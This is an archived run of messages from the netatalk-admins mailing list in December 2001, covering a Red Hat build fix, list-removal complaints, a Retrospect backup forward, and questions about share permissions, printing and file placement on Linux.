> I'm having problems 'make'ing netatalk on our rh7.0 system. Compile fails
> because of a missing header file "rpcsvc/rquota.h".

Hi Blake,

I had a similar problem on RH 7.0, and posted to the netatalk-devel list.
The summary is that you'll need to install the compat-glibc-6.2 RPM, and
make a symlink. Here's my post with my solution:

-------------------------------------------------------------------------

Hi Lance,

I think this would make a good addition to the docs.

I used Sebastian's 1.5rc0.8 tarball, and then did the following:

./configure --prefix=/usr/local/netatalk1.5rc0.8 --enable-redhat

It broke the following way during make...

nfsquota.c:50:27: rpcsvc/rquota.h: No such file or directory
make[4]: *** [nfsquota.o] Error 1
make[4]: *** Waiting for unfinished jobs....
make[4]: Leaving directory `/home/steve/netatalk-1.5rc0.8/etc/afpd'
make[3]: *** [all-recursive] Error 1
make[3]: Leaving directory `/home/steve/netatalk-1.5rc0.8/etc/afpd'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/home/steve/netatalk-1.5rc0.8/etc'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/steve/netatalk-1.5rc0.8'
make: *** [all] Error 2

...until I installed the following RPM...

compat-glibc-6.2-2.1.3.2.i386.rpm

...and issued the following command...

ln -s /usr/i386-glibc21-linux/include/rpcsvc/rquota.h \
    /usr/include/rpcsvc/rquota.h

Then it went on its merry way and runs great.

On Redhat 7.2, BTW, the docs should mention that if you want PAM support
(which you definitely do, now that it uses shadow), you need to have
pam-devel installed. And you'll also need the quota-3.0x package installed.

Actually, it'd be nice if we assembled a list of package-oriented
dependencies on Linux.

Steve


From netatalk.administrators-errors@umich.edu  Tue Dec 11 18:04:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA00942
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 18:04:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA03600
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 18:04:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA03592
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 18:04:54 -0500 (EST)
Received: from saba.kuentos.guam.net (saba.kuentos.guam.net [202.128.0.35])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA03552
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 18:04:53 -0500 (EST)
Received: from [202.128.14.104] (104.geda.guam.net [202.128.14.104])
	by saba.kuentos.guam.net (8.10.0/8.10.0) with ESMTP id fBBMvrR05431
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 08:57:55 +1000 (GST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 12 Dec 2001 08:59:35 +1000
Subject: remove
From: michael bamba <mbamba@geda.guam.net>
To: <netatalk-admins@umich.edu>
Message-ID: <B83CCCB0.4E51%mbamba@geda.guam.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

remove


From netatalk.administrators-errors@umich.edu  Tue Dec 11 18:18:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA01789
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 18:18:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA14135
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 18:18:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA14126
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 18:18:44 -0500 (EST)
Received: from self.phpwebhosting.com (self.phpwebhosting.com [64.65.61.215])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id SAA14083
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 18:18:42 -0500 (EST)
Received: (qmail 12342 invoked by uid 508); 11 Dec 2001 23:18:39 -0000
Received: from unknown (HELO weebeastie) (195.147.148.65)
  by self.phpwebhosting.com with SMTP; 11 Dec 2001 23:18:39 -0000
From: "// kerin  |  b o c u m a . c o m  |" <kerin@bocuma.com>
To: <netatalk-admins@umich.edu>
Subject: 
Date: Tue, 11 Dec 2001 23:23:39 -0000
Message-ID: <CPEKLDJPHBBJILCLIMONGEMLCGAA.kerin@bocuma.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal

remove

From netatalk.administrators-errors@umich.edu  Tue Dec 11 18:43:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA02581
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 18:43:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA05348
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 18:43:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA05323
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 18:43:04 -0500 (EST)
Received: from saba.kuentos.guam.net (saba.kuentos.guam.net [202.128.0.35])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA05268
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 18:43:02 -0500 (EST)
Received: from [202.128.14.104] (104.geda.guam.net [202.128.14.104])
	by saba.kuentos.guam.net (8.10.0/8.10.0) with ESMTP id fBBNhXR18496
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 09:43:35 +1000 (GST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 12 Dec 2001 09:45:06 +1000
Subject: remove
From: michael bamba <mbamba@geda.guam.net>
To: <netatalk-admins@umich.edu>
Message-ID: <B83CD7A2.4E5B%mbamba@geda.guam.net>
In-Reply-To: <B83CCCB0.4E51%mbamba@geda.guam.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

remove


From netatalk.administrators-errors@umich.edu  Tue Dec 11 19:44:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA05306
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 19:44:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA27315
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 19:44:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA27294
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 19:44:06 -0500 (EST)
Received: from clever.eusc.inter.net (clever.eusc.inter.net [213.73.101.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA27240
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 19:44:04 -0500 (EST)
Received: from tc09-n66-243.de.inter.net ([213.73.66.243] helo=athlet.deltaman.de)
	by clever.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 16DxV7-0001t4-00; Wed, 12 Dec 2001 01:43:58 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id BAA11538;
	Wed, 12 Dec 2001 01:43:26 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu, Ryan McBeth <rmcbeth@mobiusnm.com>,
        Vic Landi <vic@mail.jamesltaylor.com>,
        michael bamba <mbamba@geda.guam.net>
Subject: junk mails
Date: Wed, 12 Dec 2001 01:39:01 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01121201432602.00517@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA05306

It would be nice if people would think before posting garbage mails with those meaningful subjects
like "remove" to the list.

Thank you

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Dec 11 19:57:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA05786
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 19:57:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA25934
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 19:57:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA25922
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 19:57:48 -0500 (EST)
Received: from queequeg.dev.wc.teleias.com (ip-216-73-143-80.vantas.net [216.73.143.80])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA25878
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 19:57:47 -0500 (EST)
Received: from tenebras.com (localhost [127.0.0.1])
	by queequeg.dev.wc.teleias.com (8.11.6/8.11.6) with ESMTP id fBC10Ju17915;
	Tue, 11 Dec 2001 17:00:21 -0800 (PST)
	(envelope-from kudzu@tenebras.com)
Sender: dnai@queequeg.dev.wc.teleias.com
Message-ID: <3C16AC23.E6C69C98@tenebras.com>
Date: Tue, 11 Dec 2001 17:00:19 -0800
From: Michael Sierchio <kudzu@tenebras.com>
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.2 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: deltor@snafu.de
CC: netatalk-admins@umich.edu, Ryan McBeth <rmcbeth@mobiusnm.com>,
        Vic Landi <vic@mail.jamesltaylor.com>,
        michael bamba <mbamba@geda.guam.net>
Subject: Re: junk mails
References: <01121201432602.00517@athlet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Carsten Neumann wrote:
> 
> It would be nice if people would think before posting garbage mails with those meaningful subjects
> like "remove" to the list.
> 
> Thank you
> 
>         Carsten

Requests to be removed from the list should first be met with scathing, humiliating
invective, such as:  "Remove WHAT?  The old rags you're keeping in your head instead
of brains?!?"   

Read and weep.  From http://www.umich.edu/~rsug/netatalk/mailing.html


The following have been set up for netatalk support.

  netatalk@umich.edu

The first is for reporting bugs. This is the mail address of the netatalk development team at umich. If you're reporting bugs, you
MUST use the format provided in the BUGS file! 

  netatalk-admins@umich.edu

This list consists of general discussion of netatalk. The list is automated and unmoderated, making a large community of
netatalk administrators accessible. It is a fairly active list. Members of netatalk-admins will also receive netatalk-release
mail. There is no need to subscribe to both lists. You can join (or resign from) this list by sending mail to
netatalk-admins-request@umich.edu with the word 'subscribe' or 'unsubscribe' in the "Subject" header. The list-server is not
majordomo.

From netatalk.administrators-errors@umich.edu  Wed Dec 12 06:39:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA28212
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 06:39:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA04654
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 06:39:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA04621
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 06:39:28 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA04558
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 06:39:27 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id MAA04340
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 12:39:19 +0100
Message-ID: <3C1741E8.AF71622A@euc.de>
Date: Wed, 12 Dec 2001 12:39:21 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: [Fwd: Retrospect]
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA28212

For your information only

asking for a beta client for linux dantz (retrospect)
wrote that the software will very soon be available.


Nicolas Thiriot wrote:
> 
> Bonjour,
> 
> Es ist nicht mehr möglich diese Beta Version zu bekommen jetzt. Unser
> Entwiklung Abteilung arbeitet für diesen Linux Client und dieser Client wird
> bald verfügbar sein.
> 
> Mit freundlichen Grüssen.
> 
> Nicolas Thiriot
> -------------------------------------------
> Nicolas Thiriot
> DACH Account Executive
> Dantz Development Corporation
> 77, rue du Faubourg Saint Denis
> 75010 Paris/France
> Tel : 00331 55 33 02 04
> Fax : 00331 55 33 02 09
> nicolas_thiriot@dantz.com
> 
> www.dantz.com - www.dantz.com/de
> www.dantz.fr - www.betterbackup.com
> 
> Technical Support :
> * Germany : 0800 180 21 21
> * Switzerland-Austria : 00331 55 33 02 08
> * Swiss french speaking : 00331 55 33 02 05
> --------------------------------------------
> 

-- 


mit freundlichen grüssen

____________________________________________________________

Mac Conin                        Taubengasse 9
                                 D 50676 Koeln
CONIN - Agentur                  tel : +49-221-218 032
EUC Online Service GmbH          tel : +49-221-923 27 33
punktum postscript-Service       tel : +49-221-240 60 92
http://www.euc.de                fax : +49-221-239 651

From netatalk.administrators-errors@umich.edu  Wed Dec 12 08:14:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA01318
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 08:14:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA09010
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 08:14:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA08992
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 08:14:24 -0500 (EST)
Received: from orion2.ign.com.au (orion2.ign.com.au [203.30.192.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA08907
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 08:14:22 -0500 (EST)
Received: from ign.com.au (shanep@usr2-ppp02.ign.com.au [203.30.192.118])
	by orion2.ign.com.au (8.11.2/8.11.2) with ESMTP id fBCBE7t32620
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 22:14:07 +1100
Sender: shanep@orion2.ign.com.au
Message-ID: <3C17581F.D352E39B@ign.com.au>
Date: Thu, 13 Dec 2001 00:14:07 +1100
From: Shane Pearson <shanep@ign.com.au>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.16 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: How to serve the same directory with different privs?
References: <3BED08C5.15F726B1@ign.com.au> <3BFB97DA.767A52CE@ign.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi guys,

Perhaps this is really simple, but I can't seem
to get it going. I am trying to configure netatalk
and Linux so that I can serve a share that staff
members can write to (with password prompting),
yet student machines can see and read without a
password?

I thought maybe I could hard link another directory
to the current share, giving seperate privs to each
and serving seperately with the staff share
requiring a password. I thought this might work but
I can't get hard linking working for directories
even as root, according the ln --help or the man
page for ln. Neither Linux 2.2.19 or 2.4.16 seems
to be letting me do this, on ext2fs or reiserfs.

Is there an easy way to otherwise get this done?


Many thanks.

From netatalk.administrators-errors@umich.edu  Wed Dec 12 08:28:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA01945
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 08:28:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA10274
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 08:28:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA10253
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 08:28:49 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA10201
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 08:28:48 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id OAA02346;
	Wed, 12 Dec 2001 14:51:04 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 12 Dec 2001 14:28:38 +0100
Subject: Re: How to serve the same directory with different privs?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Shane Pearson <shanep@ign.com.au>
CC: <netatalk-admins@umich.edu>
Message-ID: <B83D1A16.16018%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C17581F.D352E39B@ign.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 13 Dec 2001 00:14:07 +1100, Shane Pearson wrote:

> I am trying to configure netatalk and Linux so that I can serve a share
> that staff members can write to (with password prompting), yet student
> machines can see and read without a password?

1) Create a group staff and a group students if not happened already

2) Set up two different Volumes in AppleVolumes.system or
   AppleVolumes.default like

   /path/to/share/ "Staff" access=@staff password=[8 chars max. passwd]
   /path/to/share/ "Students"

   (see the documentation in AppleVolumes.default for details)

3) Make all inside this share writable for staff and readable for staff
   and students

You're done.

(This won't work with recent Netatalk versions -- 1.5pre9 and above -- and
the new ID scheme CNID enabled)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Dec 12 08:41:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA02368
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 08:41:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA00584
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 08:41:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA00571
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 08:41:23 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA00526
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 08:41:22 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA02637;
	Wed, 12 Dec 2001 15:03:17 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 12 Dec 2001 14:40:50 +0100
Subject: Re: [Fwd: Retrospect]
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Mac Conin <mconin@euc.de>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B83D1CF1.16019%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C1741E8.AF71622A@euc.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 12 Dec 2001 12:39:21 +0100, Mac Conin wrote:

> asking for a beta client for linux dantz (retrospect)
> wrote that the software will very soon be available.

Do you know whether Retrospect will support the native Netatalk format or
just plain linux?

The difference would be:

In the first case Retrospect would treat the two files that build one 'real'
mac-file (./file and ./.rsrc/file) as a single file including the finder
metadata like file type, creator, label, comment, etc. A file backed up in
this way would be easy to restore on a mac in a mac's native filesystem
(nice if the Netatalk server is the only linux box and it crashed
completely, so users will be able to access their data).

In the latter case two files would be backed up and if you want to restore
them on another platform you would also get two separate files (and have to
manually merge them back to a fully functional mac file)...

In addition, if a backup software 'knows' how to deal with Netatalk's file
format then it would be easy to backup/restore complete files (including
both the data and resource fork) avoiding the possibility to forget one of
both forks.

Thanks in advance,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Dec 12 09:23:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA03852
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 09:23:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA23923
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 09:23:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA23910
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 09:23:29 -0500 (EST)
Received: from smtpo.ctimail.com (smtpo.ctimail.com [203.186.94.58])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA23838
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 09:23:26 -0500 (EST)
Received: from jasoncha (127user107.ctimail3.com [203.80.127.107])
	by smtpo.ctimail.com (8.11.1/8.11.1) with SMTP id fBCENOa26366
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 22:23:24 +0800 (HKT)
From: *IM***1 <olympian@hkbn.net>
Message-ID: <009401c1831d$57b42ac0$6b7f50cb@jasoncha>
To: <netatalk-admins@umich.edu>
Subject: Problems dealing with netatalk
Date: Wed, 12 Dec 2001 22:57:38 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0091_01C18360.655A4B80"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_0091_01C18360.655A4B80
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

hi there,
  i am working on linux + mac lan environment....
  the situation is that i have 1 linux and 2 mac.....
  problem is that even i have set papd.conf file, printer cannot be seen =
in the chooser.
  so howz that? do i make some mistake?
  secondly, if i share file to Macintosh computer, it works fine with =
guest account, but if i come to user accounts, once i type any letter in =
the password box, it said i reach to the max. limit of password length.. =
so howz that?=20
  thirdly i want to ask is that: does netatalk support EPSON Stylus =
Color 3000? becoz in SC3000 driver, there is one named SC3000(AT) in =
chooser, and it is for AppleTalk.... but this cannot discover any SC3000 =
which is plugged in linux machine... so how to do that??

thx for any suggestion...!!

Yours sincerely,
jasonX

------=_NextPart_000_0091_01C18360.655A4B80
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dbig5">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT face=3D"Times New Roman">hi there,</FONT></DIV>
<DIV><FONT face=3D"Times New Roman">&nbsp; i am working on linux + mac =
lan=20
environment....</FONT></DIV>
<DIV><FONT face=3D"Times New Roman">&nbsp;&nbsp;the situation is that i =
have 1=20
linux and 2 mac.....</FONT></DIV>
<DIV><FONT face=3D"Times New Roman">&nbsp; problem is that even i have =
set=20
papd.conf file, printer cannot be seen in the chooser.</FONT></DIV>
<DIV><FONT face=3D"Times New Roman">&nbsp; so howz that? do i make some=20
mistake?</FONT></DIV>
<DIV><FONT face=3D"Times New Roman">&nbsp; secondly, if i share file to =
Macintosh=20
computer, it works fine with guest account, but if i come to user =
accounts, once=20
i type any letter in the password box, it said i reach to the max. limit =
of=20
password length.. so howz that? </FONT></DIV>
<DIV><FONT face=3D"Times New Roman">&nbsp; thirdly i want to ask is =
that: does=20
netatalk support EPSON Stylus Color 3000? becoz in SC3000 driver, there =
is one=20
named SC3000(AT) in chooser, and it is for AppleTalk.... but this cannot =

discover any SC3000 which is plugged in linux machine... so how to do=20
that??</FONT></DIV>
<DIV><FONT face=3D"Times New Roman"></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Times New Roman">thx for any =
suggestion...!!</FONT></DIV>
<DIV><FONT face=3D"Times New Roman"></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Times New Roman">Yours sincerely,</FONT></DIV>
<DIV><FONT face=3D"Times New =
Roman">jasonX</FONT></DIV></DIV></BODY></HTML>

------=_NextPart_000_0091_01C18360.655A4B80--


From netatalk.administrators-errors@umich.edu  Wed Dec 12 11:32:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA10538
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 11:32:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA08181
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 11:32:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA08163
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 11:32:47 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA08080
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 11:32:45 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <Y2MT51XY>; Wed, 12 Dec 2001 11:26:42 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D7467@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: File Structure
Date: Wed, 12 Dec 2001 11:26:41 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C18329.C7F255D0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C18329.C7F255D0
Content-Type: text/plain

I know this is a pretty generic question but I would like your opinions or
thoughts.

I am looking for good placement for my shared files on my server.  I have 5
hard drives set up as a raid, in the past I have always had my system on one
drive, a swap on another and the files on the rest of the drives.  Because I
don't know enough about Linux yet to know which folders are system folders,
where should I put my shared folders on the Server.  I heard somewhere that
/var was the place.

Brian Curtis

Information Technology Manager
Red-Wire
Kelliher Samets Volk
802.862.8261


------_=_NextPart_001_01C18329.C7F255D0
